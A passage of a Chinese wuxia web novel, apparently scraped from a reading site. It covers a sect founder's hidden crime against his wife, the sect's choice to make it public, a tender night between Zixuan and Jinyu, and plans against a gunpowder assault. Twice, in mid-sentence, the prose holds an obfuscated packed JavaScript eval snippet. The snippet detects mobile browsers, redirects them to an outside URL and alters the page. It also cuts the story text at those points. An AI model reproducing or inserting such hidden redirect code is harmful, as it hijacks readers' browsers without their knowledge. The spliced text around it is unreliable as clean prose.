褚慕瑶见这个年轻人求学之心甚笃,又资质上佳,自然也喜欢,当即收为徒弟。数年过去,年纪最小的李玉昆反倒从一众弟子中脱颖而出,成了褚慕瑶最得意的弟子。 因得师父宠爱,李玉昆得以出入赤霞山庄,时常见到褚慕瑶的妻子。师娘偶尔也会指点他的武艺,让他不要拘泥于成法,大胆地对学到的功夫加以变化改进。 然而,这些极少数的对话都是私底下发生的,每一次师娘都会小心翼翼地嘱咐他别让师父知道。李玉昆虽然觉得奇怪,却从不敢违背。 也因此,门中关于师父所创武功的一丝丝非议才没有逃过他的耳朵,也在他的心中种下了怀疑的种子。 没过几个月,师娘突然“仙去”,李玉昆立马嗅出此事背后定有文章。他背着褚慕瑶前往武功山,一处处搜寻,找到了褚慕瑶杀害妻子的那个山洞,打开了封死洞口的碎石沙土,最终发现了师娘的尸身以及她之所以殒命于此的真相。 褚慕瑶的师妹于濒死之际,拼尽最后一口气在山洞的石壁上留下血书,将他背叛自己的来龙去脉尽数倾吐。李玉昆看后悲愤交加,立誓要还师娘一个公道。 然而,就在他反身出洞之时,潜伏在洞里的毒虫毒蛇突施袭击咬伤了他。这些毒虫毒蛇都是褚慕瑶在封死洞口前特定寻来洒在洞中的,目的就是为了防止有人接近此处。 只是因为李玉昆内力不弱,又因家族传统服食过辟毒的丹药,这才没有在一进洞就遭到袭击。唯有在他得知真相后,气血上涌、内息不稳,这才让毒物们有了可乘之机。 数量庞大的毒物远远超出他身体能够负荷的限度,虽然他拼尽全力从洞中逃出,却也只来得及将事情的大概告知被他求来在洞口望风的亲兄弟。奄奄一息之际,他紧紧拉住兄弟的手,嘱咐他务必让真相大白于天下。 李玉昆的弟弟年纪尚小,刚来天魄门不到一年,武艺极其有限。他自忖并无力量与褚慕瑶抗衡,担心贸然行事只会惹火烧身,就只好将秘密收藏起来。同时为了防止有人误入洞穴,还设法再次封堵洞口,如褚慕瑶一样伪装成一块普通的山壁。 褚慕瑶死后,他将山洞的位置和李玉昆看到的内容用隐语写成一副图谱,随同破解隐语的李氏家谱放在一起,一份藏入正在修建的李氏家祠,另一份则找机会放在了收藏各种武功典籍的藏书阁;并对外散播褚慕瑶死前曾命人将金银财宝与武功秘籍藏于某处并留下藏宝图,只有百毒不侵之人才能接近宝藏。 再后来,李氏一族远离太白山,不再踏足江湖,关于宝藏的传说和圣女的传说渐渐合二为一,生出了许多本不在两者之中的新说法。 百余年间,并不是只有苏明启矢志找出宝藏,也不是只有他发现了藏书阁中的藏宝图。只是,当秘密发现,并无一人愿意公开此事。于是,关于宝藏的秘密就这样一代又一代深埋于故纸堆中,直到苏明启动了用宝藏振兴天魄门的念头。 不过,苏明启只找到了藏宝图,并没有发现已被毁掉的李氏家谱,故而在长达十余年的时间里都未能发现真相。后来他另辟蹊径,开始从旧年的记载中深挖祖师褚慕瑶的生平,终于在其中发现了他某年某月带着妻子去武功山求仙访道的记载。 文字虽然模糊,但从太白山经跑马梁到武功山的道路只有一条,想必祖师爷爷的活动范围也很有限。苏明启这才找到了希望,秘密派遣贺永识从武功山上与太白山相对的那一面开始,搜寻人工斧凿堆砌的痕迹。 山洞被找到时,晗月已同苏茂霖私奔。苏明启虽盛怒不已,却无可奈何。贺永识知道晗月的圣女身份为假,对唯有圣女之血才能克制毒物的说法素有怀疑,便建议苏明启请门中擅长毒理的门人研制百毒不侵的法子,或许可以借此突破毒物的防守。 苏明启立刻施行,也确实用这个办法闯入了埋藏着初代圣女和祖师秘密的那个山洞。可惜的是,洞内非但没有他心心念念数十年的宝藏,还告诉他,传说中天纵英才无往不利的祖师褚慕瑶实际上是个窃取女子智慧、沽名钓誉又背叛妻子、卑鄙无耻的小人。 这份打击,对于一向以褚慕瑶为榜样的苏明启来说实在是太大了。苏明启急火攻心,这才在短短几日内暴毙而亡。 他一死,魏菘泽挑起门主之争,一直以来不服他的门人纷纷自立,在他治下看似蒸蒸日上的天魄门就此一落千丈。 *********************** 藏宝图上记载的秘密令在场所有人都陷入了沉默。 此时此刻,向旧部们开放宝藏已不再是弃车保帅这么简单。就算这样做真能解了魏家联合旧部围攻太白山的危局,也会让天魄门就此沦为笑柄,在江湖中再难抬头。 一片沉寂之中,紫瑛最先坐不住了:“你们怎么都不说话?真相既已明了,难道我们要假装什么都没看到吗?” 党元恒垂着头,说话的声音也连带着发蒙,像是隔着一面墙传过来的:“师祖和他的夫人早已作古,现在把这件事翻出来有什么用呢?” “有什么用?!!”紫瑛难以置信地瞪着他,更令党元恒不敢和她对视,“我只知道,只要是真相,就该大白于天下,不分有用无用。” 王三山马上帮腔:“紫瑛说得好!就像我无缘无故毒死了你老爹,难道你会说‘死都死了,还追究干嘛’,然后把我放了?!” 王三山的譬喻并不恰当,但党元恒自知理亏,并未就此反驳,而是苦着一张脸道:“王老前辈,我不是这个意思,您老何必……” “那你是什么意思!?” “我……” 党元恒卡在此处,半天说不出下文。刘岳群眸光微暗,沉声道:“一旦公布真相,天魄门必受非议,这份后果太大了。” “祖师爷做了错事,就该被曝光、被后人谴责。我们主动承认,将事实公之于众,不更显得天魄门是非分明,严守道义么?” 在紫瑛看来,把真相说出来就如同欠债还钱杀人偿命一样天经地义,她不明白,他为什么要这样瞻前顾后。 “他的意思是说,若承认天魄门最得意的武学实乃女子所创,会令天魄门大大地蒙羞。” 僵持之中,是许淑平站了起来,说出了此间几乎所有人都不敢明言的心思。 紫瑛这才恍然大悟,继而愤愤不平道:“女子怎么了?女子就不能比你们男人聪明,不该在武学上有所建树吗?!难不成,你们也和江湖上那些烂俗庸人一样,认为天底下所有的荣光、美誉都应只属于你们男人?” 说这句话的时候,紫瑛正立于末座,从坐 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“那又如何?”紫璇却仿佛并不在意此事,“他们信不信我们决定不了,但说与不说却是我们的责任。我们不做,更不会有人替我们做。结果无法逆料,与其瞻前顾后不如把事情想得简单一点,顺应常理、为所当为。” “好一个‘为所当为”!”王三山拍掌大赞,“老头子一辈子最喜欢的就是随心所遇,想做便做了!哪有那么多惧怕和担心?” 骆雁声也点头笑道:“不错,世事如流水,身处其中之人很难知道一件事会流向何处、作何结局,不如畅快些,就做眼前该做的。” 江邵谦不再言语,他之下的四位堂主也不再有反对的意见。众人都看向文远骥和许淑平,等着他们最终拍板。 自刚才起,许淑平的目光就停留在紫瑛、紫璇姐妹身上。她们俩,一个沉稳、一个赤忱,又都比当年的她多了一份勇气。再想想贺新韵和这两日见到的乐青澜,这么多江湖女子的光芒不该被偏见和假象遮蔽。哪怕此举只能给当前偏裨的风气撕开一个口子,那也对得起前辈、对得起自己和无数的后世女子。 她冲着文远骥点了点头,文远骥马上展颜,对着众人道:“天魄门的名声若来自于谎言和背叛,那便不如没有。只要我们持身正派、踏实习武、守护山民,又何惧他人恶意指摘?” 片刻前的剑拔弩张顿时消解,紫瑛这才露出释然的笑:“就是!咱们天魄门本就不靠拉帮结派过日子,谁爱说什么说什么!而且,他们能说,我们也能说,我就不信邪能压正!” 众人议定,在魏家联合旧部上山之前,太白山主动向旧部们发出邀约,共赴武功山开启藏宝图记载的山洞,一起面对真相。在这之前,王三山需尽快研制出克制毒物的方法,避免紫璇受到伤害。 ************************* 然而,就在这个决定作出后的第二天,魏彦成纠合十数个江湖势力正往太白山而来的消息传到了天魄门。仅过了一个时辰,贺新韵带着人上山,并告知他河东谢氏、伏牛山等一众旧部正厉兵秣马,极有可能剑指太白。 敌人来得太快太急,天魄门已无法按照原定计划行事,和魏家同来的旧部势力也难以提前分化瓦解。与此同时,魏彦成竟要用火药开道,这一招对太白山的威胁超出想象。 文远骥头脑一阵阵发紧,即刻吩咐弟子将许淑平、江邵谦等人寻来。他们只剩下不到三天,必须抓紧时间寻出一个可行的法子来。 220. 抉择(二) 从政事堂出来的时候,天已经黑了。紫瑛跟在她后面,欲言又止,嗫喏半响,说出来的却只是:“你饿了吗,要不要我给你弄点吃?” 紫璇摇了摇头,淡淡笑道:“刚刚吃了点心,并不觉得饿。你也累了一天了,快去休息吧。” 紫瑛还待再说,前方却现出了瑾瑜的身影。 “别告诉他。” 原本淡定的紫璇在看到瑾瑜的瞬间泄露出些许慌张,急忙低声对紫瑛嘱咐。 紫瑛轻轻叹了口气:“我明白。” 然后她便同瑾瑜打了个招呼,缓步离开。快到赤霞山庄门口时,一口闷气怎么压也压不下去,只好再度返回,去找王三山师徒。 瑾瑜牵起紫璇的手,一边走一边同她说起这几日制备解药的事。 “……今日又赶出来好些,王老前辈和骆前辈还调整了方子和炼制的方法,接下来成药的速度会更快。再过两天,我们就能做出五六百枚解药,想来也应该够用了。” 一连几天,瑾瑜都泡在药卢和韩仲昌、乐青澜一起准备药材、熬制汤剂,再将其炼成丸药。每日只睡两三个时辰,连和紫璇多说几句话都困难。 骆雁声瞧出三人精力都已到顶,鉴于目前炼药的进度已然足够,遂安排他们分班休息。瑾瑜刚出药卢就四处寻找紫璇,得知她在政事堂便马上赶过来了。 说完自己,他又仔细看了几眼心上人,眉开眼笑道:“气色不错,没我刚来的时候那么消瘦。”又指着她发间的梅花玉簪,“这么快就带起来了?” “你送我的,就得天天带着。” 此来太白山,瑾瑜虽不确定紫璇是否会原谅方家,却还是从齐雅雯那里要来了那枚玉簪。他当时想的是,这是紫璇主动问他讨要的生日礼物,即便他无法留在紫璇身边,或许也可以让这枚玉簪一直陪着她。 紫璇的话和此刻挂在她脸上的欢快笑容须臾间便洗去了瑾瑜积攒几日的疲乏,想到自己有一整晚的时间可以和她说话、可以就这样毫无顾忌地瞧着她,瑾瑜只觉得自己幸运到了极点。 “那我以后多送你些首饰,让你轮着戴,好不好?” 紫璇的表情微不可察地顿了一下,然后撇了他一眼,故作嗔怒道:“你们家酒坊关了,你现在可不是有钱人家的少爷,哪来的钱给我买首饰?” “关了可以再开。等魏彦成不再为恶,我就重开酒坊,这样酒坊的工人们就又有了生计,我也可以赚几个小钱养老婆。” “我可不需要你养。” “是是是,我错了。那要不我入赘到天魄门,你养我?然后把我赚的钱全都给你,你想买什么就买什么。” 说着还将紫璇笼在怀里,一双眼睛像没长大的孩子那样眨呀眨的,逗得紫璇咯咯直笑。 半响后,紫璇才握了握高高扬起的脸颊,略略低头道:“有件事,别人去办我不放心,想麻烦你。” “说什么呢?为你办事怎么能叫麻烦。你只管告诉我要做什么。” “我爹走了,可思瑶还被留在太行山中。我想把她从山里接出来,好好抚养她长大。” “接到这里来?” 紫璇轻轻摇头,有些迟疑道:“让她去南阳吧,那里有一窝女孩,年纪同她相仿,又有青澜姐姐和骆前辈的照拂,必不会让她孤单。而且骆前辈医术高明,她又对行医感兴趣,正好可以向前辈多学习讨教。我同骆前辈已经说过了,他也觉得甚好。” “好,那便如此办理。等太白山上的事情一了,我便立刻下山。” “不行,”紫璇从他怀中抬起头来,“那就太晚了。如今解药已基本够用,少一个人也没有大妨碍,还是早点把这件事办了比较好。否则……否则……” 紫璇半天没能想出合适的理由,瑾瑜帮她说道:“否则小思瑶三个月见不到父亲,肯定要着急死了。” “对,”紫璇立马接上,“自从被爹爹收养,她恐怕还没有这么长时间与他分开过。她又知道爹是来上门寻仇的,久去不归,如今指不定多着急呢。你早点去,她也能少受些煎熬。” “好,那依你之见,我什么时候出发合适?”瑾瑜仍是眨巴着大眼看着她,语气像是再逗孩子。 但紫璇却似想到了什么难过的事情,笑容褪去,只平静答道:“明天,明天一早你便出发。你轻功好,脚程快,两日应该足以到达太行。” “这么着急?那我又要好几天看不到你了。”瑾瑜脸上的笑也随之变得勉强。 “那这样吧,今晚你别回去了,一直陪我,好不好?” 或许是天色渐暗月亮又尚未升上来的缘故,紫璇的眼睛在黑暗中闪着光,竟让瑾瑜觉出一丝渴望的味道。或许她和自己一样,如果可能,每时每刻都想两个人呆在一起。 “好,”他再次握住她的手,望着拔仙台的方向,重新摆出笑脸:“去看星星?” “我也正有此意!” 笑容从瑾瑜脸上蔓延到了紫璇的脸上,两人牵着手穿过赤霞山庄,循着石阶向上,来到了比清影阁还要高出许多的拔仙台。 从拔仙台向西,经过跑马梁便是武功山。紫璇朝对面深深望了几眼,又再一次扯弯了嘴角,听瑾瑜说话。两人上山时只带了一盏小小的灯笼,烛火昏黄,此刻已被他们置于身后。 紫璇靠在瑾瑜肩膀上,眼睛看着他指向黑蓝色幕布里闪烁星辰的手臂,耳中听着他滔滔不绝的各种和星宿相关的掌故,柔软熨帖的心中夹杂着一丝苦涩,要是这样的时刻永远不会结束该多好。 等到瑾瑜停下来回头,看到的是闭上眼睛假寐的她。 “困了吧?虽说你现在身子好了,不会再有寒症,可还是要注意保养。冷风里吹久会不舒服,我们这就下山?” 紫璇尚有些不舍,却找不出留下来的理由,便随口道:“还要下去,好麻烦。” 难得看到她孩子气的一面,瑾瑜只觉得可爱,将灯笼交到她手里,然后在她身前蹲下:“嫌累的话,我背你下去。” 紫璇只犹豫了一瞬便跳上他的脊背,口中说着:“这可是你自己说的,一会儿可别嫌我沉。” “不沉,”瑾瑜一边稳住她,一边迈出步子,“别说你本来就不重,就算你是个大胖子,我也不会嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14501932|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃。” 紫璇不再说话,一只手攀上他脖颈,另一只手将灯笼拿得尽量靠前,照出前方的道路。整个人的重量都压在瑾瑜身上,这种安然惬意不禁让她想起从前。 小时候每当自己在书房睡着,文远骥就会像这样把她负在背上,送她回明月居。可是后来,这样的景象就再没有发生过了。 她望着前方瑾瑜认真看路的后脑勺,心头的酸涩再也按捺不住,眼泪很快掉了下来。为了不让瑾瑜发觉,她尽力不发出声音,却因为憋得太过气息不稳。骤然变得粗重的呼吸引起了瑾瑜的注意,他停住脚步回过头,落入眼中的便是紫璇泛红的眼圈和不受控制涌出的泪滴。 “怎么了?怎么突然哭了?” 瑾瑜的声音里有一丝慌乱,更有一些不知道哪里做的不好的疑惑。 紫璇从他背上下来,又擦了擦眼泪,尽可能平心静气道:“没什么,就是想起以前,我娘还没走的时候,我爹也经常这样背着我。” 瑾瑜心疼不已,遂又做出半蹲的姿势,让紫璇爬上去:“以后有我,你不想走了,我就背你。” 紫璇没有客气,仍像刚才那般攀住他的肩膀,两人就这样慢悠悠地回到了明月居。 上一次进紫璇闺房还是几个月前,瑾瑜还记得当时他连看都不看一眼就赶忙退了出来,这一回才真正看清楚这个房间的样貌。 靠窗的桌案上散落着一些剑谱,有的摊开来,显然是紫璇最近正在研究的。桌子后面则立着架子,上面放着紫璇的双股短剑。 桌案一角还摆着一瓶插花,是山中这些日子刚开始绽放的杏花。山上地气寒冷,物候晚于平原地带,这些杏花才开不久,枝杈上还带着不少花苞。 紫璇见他看得认真,便指着花瓶道:“这都是紫瑛弄来的,我可顾不上这些。” “你一心都扑在武艺上,自然无法分神到别处。” “不过,屋子里有这么一抹亮色,的确会变得更有生机。” “你要是喜欢,日后我们可以在家里养各色花卉。你练武累了,就可以瞧着它们,心情必定舒畅。” “好。” 就寝之时,瑾瑜明显有些不自在。他挪过一个花墩放在床边,指着床铺道:“你上去睡吧,我就在这儿守着你。” “那怎么成?你累了多日,明日又要赶路,今晚无论如何也要好好睡一觉。” “可……”瑾瑜舔了舔嘴巴,有些不知道该怎么说。 紫璇却已然明白他的顾虑,故意期到身前,盯着他的眼睛问:“你在怕什么?” 她的突然靠近更令瑾瑜心猿意马,目光也从紫璇亮闪闪的眼睛一路漂移到了在夜晚看来更加鲜艳欲滴的嘴唇。 暧昧的气息弥漫左右,瑾瑜只觉得此刻的自己整个人都在发烧,头脑已经停止思考,目之所及只有那抹耀眼的红色。 等他再度恢复感知的时候,紫璇的唇已经贴了上来。冰凉又甘甜,正是灼烧起来的他此刻最需要的。他情不自禁地想要离紫璇更近一些,越近越好。就这样,双手覆上怀中之人后背,上半身也不由自主地越压越往下。 221. 抉择(三) 头脑一片混沌,唯有本能还在运作。香软的樱桃品尝过后,他仍不满足,头顺势向下,埋进了紫璇的颈|窝,手也不自觉地跟着往下走。 从未被人触碰的过的地方最为敏感,紫璇下意识弓起身体,躲开瑾瑜唇和手。 这一刹那的抗拒立刻让瑾瑜清醒过来,他立马从床上翻起,背过身掐住胸口让自己冷静下来。 “对不起,我……”仍在发抖的他已然说不出完整的道歉,此时此刻他恨不能钻到地里去。枉他自诩正人君子,竟也这般把持不住,险些……险些轻薄了他最珍视的人。 “你……别怕,我……我现在就走。” 可他只迈出两步,紫璇便追了上来,从身后抱住了他。 “为什么不做下去?” 瑾瑜想掰开她围在自己腰间的手,却又不敢碰到她。 “这不是你们男人喜欢的事吗?你明明也想要,为什么不继续下去?” 这一次,瑾瑜终于从紫璇的语气中听出了哽咽,他猛地转过身,今晚第二次看到她泛红的眼圈和隐忍的泪意。 他觉得困惑,又不知该从何问起,只能先把脑海里冒出来的第一个问题问出来:“那你呢?你也想要这样吗?” “我?”紫璇明显顿了一下,片刻后才抬起头与他四目相对,仿佛下了某个艰难的决心:“是,我也想。” 疑云从瑾瑜眉间升起,他很确信紫璇刚刚的瑟缩就是出于害怕,可她为何要骗他? 对他来说,即便他爱紫璇,身体本能地想要得到她,也认为这件事必须要等到紫璇完完全全的同意,其中不可有任何的委屈迁就、更可况,他们尚未成婚,他不想以爱的名义伤害她。 他把住紫璇的肩头,温柔地注视着她的眼睛,认真道:“我听说,这种事女孩子第一次都要受苦,你既然还没准备好,就不要为难自己,好不好。等我们成婚时再……” “谁说我没有准备好,我偏要,就现在!” 在眼泪夺眶而出之前,紫璇再一次主动吻上了瑾瑜,瑾瑜忍不住回应她,却尽可能保持着理智,手不再乱动,而是牢牢地卡住紫璇的肩膀,这样的姿势也让自己的身体无法离她太近。 紫璇的泪滴滑落,沾湿了瑾瑜的脸庞。 “到底怎么了?” 他依依不舍地松开紫璇,盯着她的眼睛,似乎想从这里看出她一直在努力隐藏的心事。 紫璇闭上了眼睛,却无法挡住汹涌的泪水,瑾瑜又急又痛,只好再次将自己的胸膛递上去,让她可以在自己怀中安然哭泣。 与此同时,他的头脑中转过了无数念头,努力猜想着究竟是什么原因让紫璇如此。思来想去,都只有一个可能:魏彦成又有什么行动,令天魄门遇到难关了。 等紫璇终于能克制住眼泪,擦干眼泪抬起头来时,瑾瑜才试探着问道:“你说实话,到底发生了什么?” 一边说一边还轻轻用手帮她拭去尚挂在下巴上的泪珠,又理了理她此刻有些纷乱的鬓角。 紫璇深吸了一口气,稳住语调:“魏彦成集合了江淮一带的十数个帮派以及曾出现在魏家的几个旧部势力,三日后闯山。我……太过担心,就……” “你担心魏彦成纠集的力量太大,即便我们准备了这么多,仍有可能不敌?” 紫璇点了点头,眼睛却一直望着别处。 瑾瑜心生疑窦,说话的语气也不免重了几分:“这就是你非要让我明早就下山去接思瑶的原因?” 紫璇低着头,又轻轻点了几下,有些心虚地为自己辩解:“我不希望你出事。” “那你呢?你这是要让我抛下你,让你独自去面对危险么?”瑾瑜仍是紧紧盯着眼前之人,拧在一起眉头泄露了他此刻隐隐的气愤。 “不是的……”紫璇终于抬起头,从爱人脸上看出了不被信任的委屈,“你在山上,我必然会分心,我只是想让你避开这一切……等……太白山安全了,你再来找我好不好?” “只是因为这个?” “嗯,不然还能因为什么?” “只要我不在这里,你便会安心么?” “是的。” 望向紫璇的眼睛慢慢变红,他顺势将人拉如怀中,双臂紧紧箍着她,仿若在可惜要与她分开的日日夜夜。 紫璇也毫不吝惜地回抱住他,将半边脸颊贴在他心房之上,听着他比平时跳得更快一些的心跳。 少顷,瑾瑜的心跳终于回归平稳,头顶上响起了他沉静又带着一丝沙哑的嗓音:“好,如果你决定了,我会听你的。” 这句话落地,紫璇轻轻松了口气,只是瑾瑜如今看不到她的脸,看不到她如释重负的表情。 “只要是你想做的事情,我都会毫不犹豫地支持你。”瑾瑜继续道,“可若非你所愿,我也希望你不要强迫自己?” 他听不到紫璇的声音,只感受到她的脑袋在自己怀里蹭了两下。 “就比如刚刚这样。你要骗我离开,又觉得愧疚,便想用这种方式来‘补偿’我……可是,我爱你,只是因为我爱你,不求结果、也不为得到什么。你只属于你自己,若你以别的事为先、没有选择我,并不是对不起我,无需为此自责,更不要用这样的方式来补偿我,知道吗?” 两人虽相互依偎,却各怀心事,直到后半夜才沉沉睡去,又都在破晓时分从各自的梦境中醒来。 紫璇想要起身,却被瑾瑜抢先一步环抱在臂弯之中。 “再让我抱一会儿。” 瑾瑜的黯然语气让紫璇无法拒绝,况且她也同样贪恋和他相处的这最后一点时光。 等二人洗漱完毕、瑾瑜收拾好行装后,日头早已高高挂起。紫璇伴着瑾瑜下山,一路上两人都保持着沉默,唯有牢牢牵住的两只手述说着彼此依依惜别的心绪。 可无论他们走得有多慢,分别的时刻总是会比预期的来得早一些。 已经是山脚,她没有理由再同他继续走下去了。 “保重。” 紫璇直直望向瑾瑜,想努力记住他此刻的样子。 瑾瑜也回望着她,既不道别,也不转身,就这样定定看了片刻。 “等我回来。” 千言万语都汇成这最后一句话,紫璇紧咬下唇,努力说出了一个“好”字。 瑾瑜紧了紧身上的包袱,最后看了一眼心爱之人,转身迈步,离开了太白山。 再次回到明月居,紫璇推开房门,不由自主地举目四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533554|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾。 阳光和煦、微风习习,桌上杏花摇曳生姿,似比昨日开得更好。然而,这些明媚的意象却根本无法闯入她的视线,紫璇只注意到房间是如此的空旷和静谧,萧条到她不想在房中多呆一刻。 她绕到桌案之后,抄起自己的短剑便出了门。 人还没到采芹苑,先在半路上遇到了骆雁声。他守了一晚上药炉,刚刚和乐青澜交了班。 紫璇驻足行礼,骆雁声淡淡颔首。两个人都没有离开,似乎都等着对方说一些什么。 紫璇最先想到了可说的内容:“正好要禀告前辈。我爹隐居太行时,曾收留过一个女儿,名唤‘思瑶’。他出山之后,思瑶妹妹便被留给了山中猎户照顾,如今已有三月。我不放心,便请瑾瑜替我去太行山中将他接出来送去南阳……他……我刚刚送他下山,后续解药的炼制恐怕就要辛苦前辈和青澜姐姐了。” 骆雁声目视着她平静如水的眼睛,既没有问为何不早不晚非要在此时让瑾瑜下山,也没有疑惑她为何要将算是她半个妹妹的孩子送去南阳,反而像是叩问心灵般,轻轻吐出了一句话:“你真的想好了?” 紫璇心中一凛,惊讶稍纵即逝:“前辈已经知道了?” “淑平昨晚来找过我,把你们白天商议好的对策都同我讲了。” 仿佛谎言被揭穿,紫璇茫然地点了点头,一时间不知道该说些什么。 “我问你,你真的想好了?” 骆雁声说的虽是问句,语气却极为沉着,紫璇从中听到的并不是怀疑和质问,反而更像是彷徨中指点迷津的声音,让她的心莫名安定。 “是,没有比它更好的办法了。”紫璇抬起头,眸中闪烁着冷静和机敏,“或许还会比之前的计划更好。” 骆雁声嘴角微动,示意她说下去。 “那几个旧部正和魏彦成一起直奔太白山,我们已然失去先机,对他们的分化瓦解只能发生在太白山上。同时,之前的计划中最大的风险是宝藏的真相无人肯信,甚至还会让人以为是天魄门不欲分享宝藏故意用编造出来的故事企图蒙混过关。反不如就这样,也能让旧部们挑不出错,从而更愿意面对真相。” “你说的虽然不错,但新的计策若想成功,就需把你架在火上,你真的准备好了?” 紫璇没有立即回答,而是将目光投向山谷间越升越高的太阳,耀目的日光无法直视,可她仍倔强地与之搏斗了一小会儿,才闭上眼缓缓说道:“越是讳莫如深的真相,揭开时越要付出代价。如果我能让代价控制在最小的范围,何乐而不为呢?” 骆雁声叹了一口气,语调不再如刚才那般笃定,反而像是正和紫璇倾吐自己的困惑:“天魄门、太白山,乃至山上的无数条性命加在一起,真的比你更加重要吗?” “谁知道呢?还没有什么办法能够计算出一个人的价值,自然也无法将之和其他东西比较。我只知道,这是我的选择。前辈不是对我说,无论身处何时、遇到何种境遇,人都是有选择的么?既然我选择了,那我就必须坦然面对选择可能带来的后果。” 骆雁声听得极为认真,紫璇话音落了许久,他才若有所思地点了几下脑袋,只是无论如何也露不出有所得的那种喜悦。 222. 变道 瑾瑜出山向北,很快便到达山下镇甸。他一心只想尽快将思瑶接出来送到南阳,便不做逗留,直接折向往东的官道。 行止半途,身后突然掠过去一抹熟悉的身影。他立即返身去追,果然见到阮云飞和四五个年轻人正飞马疾驰。 “阮掌门!” 听到瑾瑜的呼叫,阮云飞止住马,并示意身后的弟子也停下。这之中,还有刘从毅的身影。 “方公子?”她有些诧异,下意识朝后方打望。适才她并未看到瑾瑜,还以为他是从自己身后而来。 “阮掌门远赴西北,可是为了助天魄门一臂之力?” “何出此言?” “难道不是么?我刚从太白山下来,听璇儿说,魏彦成的人马两日后便会围攻太白山。或许阮掌门听说了此事,才来千里助拳。” 听到他谈起紫璇时亲昵又紧张的语气,阮云飞的警惕卸下稍许,但转眼她又问道:“你既然知道太白山将有危险,为何于此时下山?” 瑾瑜不是没有听出她话中的怀疑,但此刻失落和担忧的情绪占据了上风,他垂下脸,一只手紧攥着包袱闷声道:“她不想让我面对这些,便寻了个理由让我离开太白山。” 随后他又振作起精神,赶忙问道:“阮掌门,你可否告诉我,魏彦成此来有多少人马?会给天魄门带来多大的威胁?我怕……怕……” “怕你以后再也见不到她?” 阮云飞心思细腻,虽然对他们二人之间后来的发生的事并不知晓,却还是迅速理解了瑾瑜的心境,乃至于紫璇将他赶下山的用意。 她跳下马来,拍了拍瑾瑜的肩头以示安慰。 “情况的确不乐观。魏彦成纠合了江淮一带十来个江湖势力,如今正往太白山来。这还不算,他还计划用火药活生生炸开一条上山的路。” “火药?!!” 从杨邠那里听说魏菘泽曾用引爆火药来威胁天魄门时的后怕再一次涌上心头,上一回他被父亲叫走,虽然知道紫璇已在魏若琛的庇护下逃出了魏宅,却还是痛恨自己在那时竟未能帮上哪怕一丁点儿忙。 如今,魏家故技重施,说什么自己也不能置身事外。 “不过,我们已经想到了应对之策,绝不会让任何一搓火药出现在太白山上。” 阮云飞紧接着的一句话立马将瑾瑜从思绪中拉回,他大喜道:“可否让我和你们一起行动?” 思瑶之事再拖几天晾也无妨,若能同阮云飞一起解决了火药的难题,既能帮天魄门解脱部分险境,又不会违背紫璇希望他暂时远离太白山的意愿。并且,危机一旦解除,他也好第一时间上山确认紫璇的安危。 根据林夫人提供的信息,所有被胁迫的江湖人都会于明天到达郿县,魏彦成的手下会在此发放火药,然后半夜出发,趁着夜深人静向太白山发动袭击。 陆文渊扮作太湖水寨中的一名水匪,混入了林夫人所带的队伍中。阮云飞提前来此和天魄门的援兵回合,一旦陆文渊到了郿县,知道了火药的下落,便会设法传递出消息。 那时里应外合,将魏家的打手扣押、火药替换,这些远道而来的江湖人就无需再为魏彦成卖命。 阮云飞一行人前往事先定好的地点,遇上了前来接应的谭修明。谭修明昨日随贺新韵一起赶到太白山,之后便带着贺家庄的十来个护院守在此处,专等阮云飞前来。 他与阮云飞和瑾瑜皆是许久未见,一碰面便埋怨瑾瑜一去不返,再也没人陪他下棋,又说他一个人担着贺家庄上下的安全,又忙又累,贺新韵也自顾不暇,根本无人在意他的喜怒哀乐。 瑾瑜无奈,赶紧答应他,只待了解了太白山的事,他一定陪他下上三天三夜的棋,这才让谭修明满意地放过了他。 他转而向阮云飞道:“这一年来,彭城派可还太平?我怎么听说你回去之后还被两个毛贼针对,很是花了些功夫才摆平了不服你的人。你独力难支,怎么也不找我们帮忙?” 和谭修明相处过一段日子,阮云飞早已摸准了她的脾气,便收起对待寻常人的客气礼貌,笑道:“您都说了只是两个毛贼,能有多不好对付,还得劳动您的大驾?” 谭修明随即哈哈大笑,又听阮云飞继续说着:“不过是派中两个不服气女子做掌门的旁支弟子,联合了外面的势力想把我赶下台罢了,翻不起多大的浪。” 一旁小鸢也得意洋洋:“师父提前侦知了他们的阴谋,一招打草惊蛇,再关门打狗,那帮人不知多狼狈呢!” “哎呀呀,那肯定是好大热闹,等咱们折断了魏家小子的翅膀,你再给我好生讲讲。” 谭修明说罢,让手下递上来一个包袱,从中摸出了好几个瑾瑜曾见紫璇用过的针筒。 “针筒里是渨了麻药的银针,对方人数众多,未免有人逃窜给魏彦成递消息,我们需同时出针,一起将所有人迷晕才好。还有一天时间,我先把施针的关键教给你们,等他们来了,咱们守在暗处,一人对付三十个不成问题。” 谭修明是暗器大家,能从他手上学到一二,众人自是十分雀跃。 他先做示范、顺带讲解,阮云飞及弟子们都听得甚为认真。刘从毅更是伸长了脖子紧紧盯着谭修明的手,恨不得把谭修明所说的每个字、做的每一个动作都牢牢记住。 贺家护院显然已经学会了这套手法,安静地立于外围,等谭修明第一遍讲完,命大家练习手碗动作之时,他们才徐徐上前,每人盯住一个,手把手地帮他们还原细节。 谭修明教得简明扼要,来之前还准备了好些尚未涂上麻药的银针和针筒供他们练习,到了第二天下午,所有人都能依法射出银针,虽然准头一般,但让他们射中一个人还是没什么问题的。 